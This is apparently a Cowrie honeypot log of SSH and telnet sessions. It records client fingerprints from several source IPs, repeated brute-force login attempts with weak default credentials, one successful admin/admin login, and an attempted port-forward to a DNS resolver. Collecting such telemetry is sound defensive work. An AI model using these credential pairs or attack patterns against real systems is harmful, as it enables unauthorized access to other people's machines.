{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:50.669538Z","src_ip":"83.168.110.85","session":"99bb171e3f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:51.032498Z","src_ip":"83.168.110.85","session":"99bb171e3f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:52.278724Z","src_ip":"83.168.110.85","session":"99bb171e3f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33326,"dst_ip":"159.203.135.109","dst_port":22,"session":"3256c5d6a956","protocol":"ssh","message":"New connection: 193.32.162.151:33326 (159.203.135.109:22) [session: 3256c5d6a956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:54.469564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:54.474261Z","src_ip":"193.32.162.151","session":"3256c5d6a956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:54.577259Z","src_ip":"193.32.162.151","session":"3256c5d6a956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"p@ssw0rd","message":"login attempt [loginuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:54.908119Z","src_ip":"193.32.162.151","session":"3256c5d6a956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:56.014042Z","src_ip":"193.32.162.151","session":"3256c5d6a956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39370,"dst_ip":"159.203.135.109","dst_port":22,"session":"e537f85508c0","protocol":"ssh","message":"New connection: 83.168.110.85:39370 (159.203.135.109:22) [session: e537f85508c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:01.018045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:01.023151Z","src_ip":"83.168.110.85","session":"e537f85508c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.006531476974487,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:01.125250Z","src_ip":"2.157.123.190","session":"7183be0c37e6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:01.144483Z","src_ip":"83.168.110.85","session":"e537f85508c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:01.511019Z","src_ip":"83.168.110.85","session":"e537f85508c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:02.819230Z","src_ip":"83.168.110.85","session":"e537f85508c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59928,"dst_ip":"159.203.135.109","dst_port":22,"session":"9441938661cb","protocol":"ssh","message":"New connection: 83.168.110.85:59928 (159.203.135.109:22) [session: 9441938661cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:11.808308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:11.813516Z","src_ip":"83.168.110.85","session":"9441938661cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:11.936912Z","src_ip":"83.168.110.85","session":"9441938661cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:12.300502Z","src_ip":"83.168.110.85","session":"9441938661cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:13.576933Z","src_ip":"83.168.110.85","session":"9441938661cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49170,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ff074484c6f","protocol":"ssh","message":"New connection: 83.168.110.85:49170 (159.203.135.109:22) [session: 6ff074484c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:22.013752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:22.019388Z","src_ip":"83.168.110.85","session":"6ff074484c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:22.141525Z","src_ip":"83.168.110.85","session":"6ff074484c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:22.506865Z","src_ip":"83.168.110.85","session":"6ff074484c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:23.679602Z","src_ip":"83.168.110.85","session":"6ff074484c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42094,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe64ec91cae0","protocol":"ssh","message":"New connection: 83.168.110.85:42094 (159.203.135.109:22) [session: fe64ec91cae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:32.413005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:32.418541Z","src_ip":"83.168.110.85","session":"fe64ec91cae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:32.542940Z","src_ip":"83.168.110.85","session":"fe64ec91cae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:32.907027Z","src_ip":"83.168.110.85","session":"fe64ec91cae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:34.142792Z","src_ip":"83.168.110.85","session":"fe64ec91cae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7234,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd3df59682d","protocol":"ssh","message":"New connection: 87.251.64.176:7234 (10.17.0.5:22) [session: afd3df59682d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:38.752810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:38.757883Z","src_ip":"87.251.64.176","session":"afd3df59682d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:38.921921Z","src_ip":"87.251.64.176","session":"afd3df59682d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:39.350787Z","src_ip":"87.251.64.176","session":"afd3df59682d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:39.492356Z","session":"afd3df59682d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:39.602838Z","src_ip":"87.251.64.176","session":"afd3df59682d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:39.769783Z","src_ip":"87.251.64.176","session":"afd3df59682d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52558,"dst_ip":"159.203.135.109","dst_port":22,"session":"5612ca2af2f1","protocol":"ssh","message":"New connection: 83.168.110.85:52558 (159.203.135.109:22) [session: 5612ca2af2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:42.661254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:42.666614Z","src_ip":"83.168.110.85","session":"5612ca2af2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:42.790249Z","src_ip":"83.168.110.85","session":"5612ca2af2f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:43.152793Z","src_ip":"83.168.110.85","session":"5612ca2af2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:44.346946Z","src_ip":"83.168.110.85","session":"5612ca2af2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58996,"dst_ip":"10.17.0.5","dst_port":22,"session":"e329385b84ac","protocol":"ssh","message":"New connection: 62.133.62.83:58996 (10.17.0.5:22) [session: e329385b84ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:50.786131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:50.791139Z","src_ip":"62.133.62.83","session":"e329385b84ac","protocol":"ssh"}
